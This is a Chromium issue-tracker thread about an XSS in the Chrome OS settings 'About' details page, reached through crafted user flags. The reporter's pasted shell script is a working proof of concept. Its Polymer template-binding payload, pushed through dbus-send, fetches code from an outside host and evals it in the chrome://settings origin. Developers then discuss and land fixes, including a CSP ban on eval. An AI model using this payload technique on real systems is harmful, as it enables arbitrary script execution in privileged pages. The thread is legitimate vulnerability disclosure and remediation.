Thanks for the report.

The dbus api can only be used from developer mode, right?

stevenjb@: can you take ownership of this? If not do you know someone who may be a better owner?

For reproduction, yes the dbus api is only available from developer mode. 

SetFlagsForUser works fine in non-developer mode, but in most cases this would likely result in a privilege de-escalation, except when you only have write access to the dbus socket (and no command execution/access to the settings API).

This is a bit beyond my expertise, and it is not entirely clear to me what is going on here, but scanning through set.sh it seems like this vulnerability could affect any number of pages?

If an attacker can send arbitrary DBus commands... I can think of all sorts of potential persistent vulnerabilities, but I may be misunderstanding the specifics here.

The payload itself will run anywhere where it can be interpreted by the Polymer library (the payload is no more special than the classing <script>alert(0)</script> XSS attack, but Polymer specific and using it's [[templating]] features), however out of the chrome:// urls chrome://settings/help/details was the only one that I found that would directly reflect the payload without any output encoding. All other data is retrieved in other ways and placed into the page with Javascript such that it is not evaluated by Polymer (view the source of the settings page to see this).

SetFlagsForUser is just one way of modifying the flags reflected in the page, there may be other methods I am unaware of.

For mitigation, either encoding [] when creating the chrome://settings/help/details page, or completely removing the flags from the HTML and using an API call to retrieve the data would stop the evaluation by Polymer.

This is a pretty low severity issue due to the access requirements, however it's still an XSS on the settings page so I thought it should be reported. I hope that this is more clear.

+dschuyler@ as this is an $i18n{} thing

it should be hitting an escaping path, it just looks like their vector is not something net::EscapeForHtml() sanitizes:
https://cs.chromium.org/chromium/src/ui/base/template_expressions.cc?dr=CSs&g=0&l=103

the .constructor.constructor vector is interesting.

ultimately, if this binding is relying on the context of outputting raw HTML, we could just change from an $i18n{} binding to a [[]] binding (which sets .textContent in JS).

rory@: this is a great find, thanks for the explanation.  I think I get what's going on.

just to verify -- were you able to fetch a remote URL and run the response contents as code?  that's what it seems like your set.sh is doing.

+dschuyler@ for real

this is the problematic line:

https://cs.chromium.org/chromium/src/chrome/browser/resources/settings/about_page/detailed_build_info.html?type=cs&q=aboutCommandLine&g=0&l=79

maybe changing

- <div id="command-line" class="secondary">$i18n{aboutCommandLine}</div>
+ <div id="command-line" class="secondary">[[i18n('aboutCommandLine')]]</div>

would fix?

@dbeam: Yes, the payload uses the standard Javascript fetch() api to retrieve and eval a secondary payload, mainly to keep the actual .sh simple. The retrieved value is just 'alert(location.href)' to prove the Javascript is executing in the correct origin.

Line 5 with 'fetch(arg).then(R=>R.text()).then(body=>eval(body))' is executed in the 'real' Javascript context, rather than inside Polymer, where 'arg' is the url defined later in the script.

I don't think there are any space restrictions so the entire payload could be inline rather than reaching out.

I'm unsure what Polymer's stance is on sandboxing as a security feature so I don't know if they'll want to patch this XSS too.

Pasting the contents of the attached file below to make discussion easier

----------------------------------------------------------------------------
payload=''                                                                                                             

payload=${payload}'[[set("Function"\,versionInfo_.arcVersion.constructor.constructor)]]'

payload=${payload}"[[_addComputedEffect('payload'\,'Function(versionInfo_.name\\\\\\,,,,\"fetch(arg).then(R=>R.text()).then(body=>eval(body))\")')]]"

payload=${payload}'[[_addComputedEffect("exploit"\,"payload(versionInfo_.url)")]]'

payload=${payload}'[[set("trigger"\,versionInfo_\,versionInfo_)]]'
payload=${payload}'[[set("name"\,"arg"\,versionInfo_.trigger)]]'
payload=${payload}'[[set("method"\,"payload"\,versionInfo_)]]'

payload=${payload}'[[set("url"\,"https://test.psma.xyz"\,versionInfo_)]]'

CMD="dbus-send --system --dest=org.chromium.SessionManager /org/chromium/SessionManager org.chromium.SessionManagerInterface.SetFlagsForUser string:"" array:string:\"$payload\""

echo $CMD
$CMD

#chrome://settings/help/details
----------------------------------------------------------------------------

The fact that callbacks Polymer observers and callbacks can be specified entirely within data bindings seems the root of what follows.

+rockot

Is the whitelist at [1] (context issue 829412) not affecting the fetch() API? I am wondering why is chrome://settings able to make a request to "https://test.psma.xyz" since it does not appear in that whitelist.

[1] https://cs.chromium.org/chromium/src/extensions/browser/api/web_request/web_request_permissions.cc?l=81

Maybe it's just that fetch API reuqests aren't seen by WebRequest? That would be surprising, but not terribly so. The check is only enforced within WebRequest API implementation. Not ideal, but the enforcement is currently only relevant to network service + WebRequest usage.

i'm fairly confident this CL would ruin this exploit chain's day:
https://chromium-review.googlesource.com/c/chromium/src/+/1063042

i can handle this specific issue, but dpapad@ may want to look into this more widely (i.e. at a "platform" level).

we generally don't use $i18n{} for untrusted content, and it's arguable whether you trust the command line used to start chrome.  there have been attempts to use certain flags for malicious purposes in the past.

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/80fd75bbcabef76e1da1e858bb81ac0cd55717b8

commit 80fd75bbcabef76e1da1e858bb81ac0cd55717b8
Author: Dan Beam <dbeam@chromium.org>
Date: Thu May 17 01:46:35 2018

Fix XSS issue on Settings page

R=dpapad@chromium.org
BUG= 843736 

Cq-Include-Trybots: master.tryserver.chromium.linux:closure_compilation
Change-Id: I900160ee6481b1b7d034e5b105afb6087c317a31
Reviewed-on: https://chromium-review.googlesource.com/1063042
Reviewed-by: Demetrios Papadopoulos <dpapad@chromium.org>
Commit-Queue: Dan Beam (no longer on Chrome) <dbeam@chromium.org>
Cr-Commit-Position: refs/heads/master@{#559391}
[modify] https://crrev.com/80fd75bbcabef76e1da1e858bb81ac0cd55717b8/chrome/browser/resources/settings/about_page/detailed_build_info.html

Besides the immediate fix that landed, I think we can tighten up the $i18n{} mechanism to also escape the Polymer data binding syntax [[...]] and {{...}} at [1]. The code would  look similar to what [2] is doing already.

dbeam@, dschuyler@ any thoughts?

Also note that the exact same string that cause an issue here is still used via i18n{} in chrome://version at [3], but since chrome://version is not using Polymer, it is not currently an issue (but it could become one in the future).


[1] https://cs.chromium.org/chromium/src/ui/base/template_expressions.cc?dr=CSs&g=0&l=103.
[2] https://cs.chromium.org/chromium/src/net/base/escape.cc?gsn=EscapeForHTML&l=326,331-335
[3] https://cs.chromium.org/chromium/src/components/version_ui/resources/about_version.html?q=about_version.html+-file:third_party+-file:infra+-file:out/Debug&dr&l=124

#19

I think $i18n{} should not be used for untrusted strings.
Escaping Polymer binding syntax will likely be problematic.

Instead of adding 'knowledge of Polymer' to $i18n{} or using the I18nBehavior (e.g. i18n()); please pass the string through Polymer using this paradigm
<div id="command-line" class="secondary">
  [[insertI18n('$i18nPolymer{aboutCommandLine}')]]
</div>

in js:
insertI18n: (s) => { return s; },

This accomplishes the same intent without increasing use of I18nBehavior.

#9

> I'm unsure what Polymer's stance is on sandboxing as a security feature so I don't know if they'll want to patch this XSS too.

IMO, this isn't a Polymer bug or sand boxing issue.

in #15
> we generally don't use $i18n{} for untrusted content, and it's arguable whether you trust the command line used to start chrome.  there have been attempts to use certain flags for malicious purposes in the past.

This is an important point (iiuc), we don't guard against attacks that have access to start applications on the machine. (because it's not tractable to do so). 

I think it's a good idea to clean this up though. Cleaning this up can make it a bit harder for an already hacked machine to get further hacked (but won't really stop it if the attacker already has the ability to execute processes).

> I think $i18n{} should not be used for untrusted strings.

Agreed. The problem is that it can still happen, when the developer is unaware that the content is untrusted, and it seems reasonable to have a 2nd line of defense when/if that happens.

> IMO, this isn't a Polymer bug or sand boxing issue.

Agreed that there is no Polymer bug here. There can be a discussion of whether Polymer bindings should be more strict, but definitely not a bug.
 - Should bindings allow calls to set(), _addComputedEffect?
 - Should set() allow setting properties that have not been declared in the |properties| section?

Note that already talked with Polymer team briefly about the above questions. The short version of the answer is that HTML templates should be treated similar to JS files. If an attacker can inject arbitrary strings into a JS file before that file is evaluated, they can gain control of the code anyway. BTW, this is more obvious in Polymer 3, since the HTML template would normally appear in the JS file anyway.


> Escaping Polymer binding syntax will likely be problematic.

Let's continue this discussion at https://chromium-review.googlesource.com/c/chromium/src/+/1064816. I am interested about potential issues.

FYI, as an additional security improvement I am attempting to disallow the use of eval() in chrome://settings at https://chromium-review.googlesource.com/c/chromium/src/+/1065208. Tests are all green, so I can't think of a reason settings needs to use eval() to work.

Ah that would be good! Should this still be assigned to Dan though?

> Should this still be assigned to Dan though?

dbeam's 1st CL at https://chromium-review.googlesource.com/1063042 addressed the immediate issue being reported here. I would classify that fix as mitigation.

There are still 2 pending CLs for further strengthening of security, which I would classify as prevention.

 - https://chromium-review.googlesource.com/c/chromium/src/+/1064816 by dbeam.
 - https://chromium-review.googlesource.com/c/chromium/src/+/1065497 by myself.

The latter of these two CLs is related both to the issue here as well to the more general issue 525224. I think once dbeam's 2nd CL lands, we can close this bug here ( issue 843736 ), so I think leaving this bug assigned to dbeam seems fine to me.

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/8bbf68af79d143fe12be502e850a3d01c22243f2

commit 8bbf68af79d143fe12be502e850a3d01c22243f2
Author: dpapad <dpapad@chromium.org>
Date: Fri May 18 23:02:55 2018

WebUI Settings: Disallow use of eval() via CSP.

Bug: 525224, 843736 
Change-Id: I7f6df58800ad5856d0bae43c936306d4e6fbdd4b
Reviewed-on: https://chromium-review.googlesource.com/1065208
Reviewed-by: Steven Bennetts <stevenjb@chromium.org>
Commit-Queue: Demetrios Papadopoulos <dpapad@chromium.org>
Cr-Commit-Position: refs/heads/master@{#560085}
[modify] https://crrev.com/8bbf68af79d143fe12be502e850a3d01c22243f2/chrome/browser/ui/webui/settings/md_settings_ui.cc

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/801b2e7c907cef13941db6d268b9b8519d52d9d8

commit 801b2e7c907cef13941db6d268b9b8519d52d9d8
Author: Dave Schuyler <dschuyler@chromium.org>
Date: Wed May 23 22:17:20 2018

[base] escape Polymer binding characters in escape HTML

This cl escapes Google Polymer HTML binding characters when escaping
HTML (and the reverse when un-escaping).

Other changes were due to presubmit or linter errors/warnings.

Bug:  843736 
Change-Id: I080bb610f80ab689f792c3d27797a9cd55b531f6
Reviewed-on: https://chromium-review.googlesource.com/1066732
Commit-Queue: Dave Schuyler <dschuyler@chromium.org>
Reviewed-by: Matt Menke <mmenke@chromium.org>
Cr-Commit-Position: refs/heads/master@{#561274}
[modify] https://crrev.com/801b2e7c907cef13941db6d268b9b8519d52d9d8/net/base/escape.cc
[modify] https://crrev.com/801b2e7c907cef13941db6d268b9b8519d52d9d8/net/base/escape.h
[modify] https://crrev.com/801b2e7c907cef13941db6d268b9b8519d52d9d8/net/base/escape_unittest.cc

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/48e970d6811691808ef92a8883a8f3275f348438

commit 48e970d6811691808ef92a8883a8f3275f348438
Author: Dave Schuyler <dschuyler@chromium.org>
Date: Wed May 23 23:14:55 2018

Revert "[base] escape Polymer binding characters in escape HTML"

This reverts commit 801b2e7c907cef13941db6d268b9b8519d52d9d8.

Reason for revert: Doesn't have the intended effect.

Original change's description:
> [base] escape Polymer binding characters in escape HTML
> 
> This cl escapes Google Polymer HTML binding characters when escaping
> HTML (and the reverse when un-escaping).
> 
> Other changes were due to presubmit or linter errors/warnings.
> 
> Bug:  843736 
> Change-Id: I080bb610f80ab689f792c3d27797a9cd55b531f6
> Reviewed-on: https://chromium-review.googlesource.com/1066732
> Commit-Queue: Dave Schuyler <dschuyler@chromium.org>
> Reviewed-by: Matt Menke <mmenke@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#561274}

TBR=mmenke@chromium.org,dschuyler@chromium.org

Change-Id: Idaddadd1223286caad17a412ba9f593bfaf57984
No-Presubmit: true
No-Tree-Checks: true
No-Try: true
Bug:  843736 
Reviewed-on: https://chromium-review.googlesource.com/1070891
Reviewed-by: Dave Schuyler <dschuyler@chromium.org>
Commit-Queue: Dave Schuyler <dschuyler@chromium.org>
Cr-Commit-Position: refs/heads/master@{#561301}
[modify] https://crrev.com/48e970d6811691808ef92a8883a8f3275f348438/net/base/escape.cc
[modify] https://crrev.com/48e970d6811691808ef92a8883a8f3275f348438/net/base/escape.h
[modify] https://crrev.com/48e970d6811691808ef92a8883a8f3275f348438/net/base/escape_unittest.cc

This bug requires manual review: Reverts referenced in bugdroid comments after merge request.
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), kariahda@(iOS), bhthompson@(ChromeOS), abdulsyed@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

What is the patch that is being approved (or requested for merging)? IIUC the CL at comment 27 is already part of M68, and CLs after that, don't need to be merged.

Can someone clarify? Also the Merge-Request-68 label was added by sheriffbot, which adds to my confusion.
 

I'm afraid the VRP panel declined to reward for this bug as an attacker would need to be able to modify command line before exploiting.

Thanks for the consideration.

This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

I have not heard anything back in response to comment #13. Adding Disable-Nags label, since I don't think there is anything to be merged here.

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot